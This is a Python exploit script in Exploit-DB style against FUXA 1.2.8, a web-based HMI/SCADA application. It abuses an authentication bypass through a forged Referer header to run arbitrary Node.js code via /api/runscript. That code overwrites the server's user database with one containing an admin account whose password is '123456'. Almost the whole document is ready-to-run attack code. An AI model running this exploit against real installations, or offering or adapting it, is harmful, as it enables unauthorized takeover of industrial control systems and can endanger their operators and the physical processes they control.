|
import requests |
|
import json |
|
import sqlite3 |
|
import bcrypt |
|
import os |
|
import base64 |
|
import sys |
|
|
|
# ================================================================================== |
|
# Exploit Title: FUXA 1.2.8 - Unauthenticated User Overwrite (Admin Takeover) |
|
# Date: 2025-12-19 |
|
# Exploit Author: Lily |
|
# Vendor Homepage: https://github.com/frangoteam/FUXA |
|
# Version: 1.2.8 |
|
# Description: |
|
# Leverages the RCE vulnerability (via Referer Bypass) to overwrite the |
|
# server's user database (sqlite3) with a malicious one containing a known admin password. |
|
# ================================================================================== |
|
|
|
TARGET_URL = "http://127.0.0.1:1881" |
|
RUNSCRIPT_ENDPOINT = "/api/runscript" |
|
LOCAL_DB_NAME = "pwned_users.db" |
|
|
|
def create_malicious_db(): |
|
print(f"[*] Creating malicious SQLite database '{LOCAL_DB_NAME}'...") |
|
if os.path.exists(LOCAL_DB_NAME): |
|
os.remove(LOCAL_DB_NAME) |
|
|
|
conn = sqlite3.connect(LOCAL_DB_NAME) |
|
c = conn.cursor() |
|
|
|
# Create table schema matching FUXA 1.2.8 |
|
c.execute("CREATE TABLE if not exists users (username TEXT PRIMARY KEY, fullname TEXT, password TEXT, groups INTEGER, info TEXT);") |
|
c.execute("CREATE TABLE if not exists roles (name TEXT PRIMARY KEY, value TEXT);") |
|
|
|
# Generate bcrypt hash for password '123456' |
|
# Note: Using a fixed salt for reproducibility or dynamic generation |
|
password = b"123456" |
|
hashed = bcrypt.hashpw(password, bcrypt.gensalt(10)).decode('utf-8') |
|
print(f"[*] Generated hash for '123456': {hashed}") |
|
|
|
# Insert admin user |
|
# groups is -1 for admin in FUXA |
|
c.execute("INSERT INTO users (username, fullname, password, groups, info) VALUES (?, ?, ?, ?, ?)", |
|
("admin", "Administrator Account", hashed, -1, "{}")) |
|
|
|
conn.commit() |
|
conn.close() |
|
print("[+] Malicious DB created.") |
|
|
|
def exploit_user_overwrite(target_url): |
|
create_malicious_db() |
|
|
|
# Read the generated DB content |
|
try: |
|
with open(LOCAL_DB_NAME, "rb") as f: |
|
db_content = f.read() |
|
except Exception as e: |
|
print(f"[!] Failed to read local DB: {e}") |
|
return |
|
|
|
b64_content = base64.b64encode(db_content).decode('utf-8') |
|
|
|
print(f"[*] Sending RCE payload to overwrite 'users.fuxap.db' on {target_url}...") |
|
|
|
# Payload to overwrite users.fuxap.db |
|
# This uses Node.js 'fs' module to write the decoded file to the server's data directory |
|
js_code = f""" |
|
try {{ |
|
const fs = require('fs'); |
|
const path = require('path'); |
|
|
|
// Target path: FUXA_ROOT/server/_appdata/users.fuxap.db |
|
const dbPath = path.join(process.cwd(), '_appdata', 'users.fuxap.db'); |
|
const content = Buffer.from('{b64_content}', 'base64'); |
|
|
|
fs.writeFileSync(dbPath, content); |
|
|
|
return 'Users DB Overwritten successfully'; |
|
}} catch (e) {{ |
|
return 'Error: ' + e.message; |
|
}} |
|
""" |
|
|
|
script_payload = { |
|
"params": { |
|
"script": { |
|
"parameters": [], |
|
"mode": "", |
|
"id": "rce_user_pwn", |
|
"name": "rce_user_pwn", |
|
"code": js_code, |
|
"test": js_code |
|
}, |
|
"toLogEvent": False |
|
} |
|
} |
|
|
|
headers = { |
|
"Content-Type": "application/json", |
|
"Referer": f"{target_url}/fuxa" # Bypass requireAuth |
|
} |
|
|
|
try: |
|
response = requests.post(f"{target_url}{RUNSCRIPT_ENDPOINT}", json=script_payload, headers=headers, timeout=20) |
|
print(f"[*] Status Code: {response.status_code}") |
|
print(f"[*] Response: {response.text}") |
|
|
|
if response.status_code == 200 and "Users DB Overwritten" in response.text: |
|
print("[+] SUCCESS! 'users.fuxap.db' has been overwritten.") |
|
print("[*] The admin password is now '123456'.") |
|
print("[*] You may need to RESTART the FUXA server for changes to take effect.") |
|
else: |
|
print("[-] Failed to overwrite DB.") |
|
|
|
except Exception as e: |
|
print(f"[!] Error: {e}") |
|
finally: |
|
# Clean up local artifact |
|
if os.path.exists(LOCAL_DB_NAME): |
|
os.remove(LOCAL_DB_NAME) |
|
|
|
if __name__ == "__main__": |
|
url = TARGET_URL |
|
if len(sys.argv) > 1: |
|
url = sys.argv[1] |
|
exploit_user_overwrite(url) |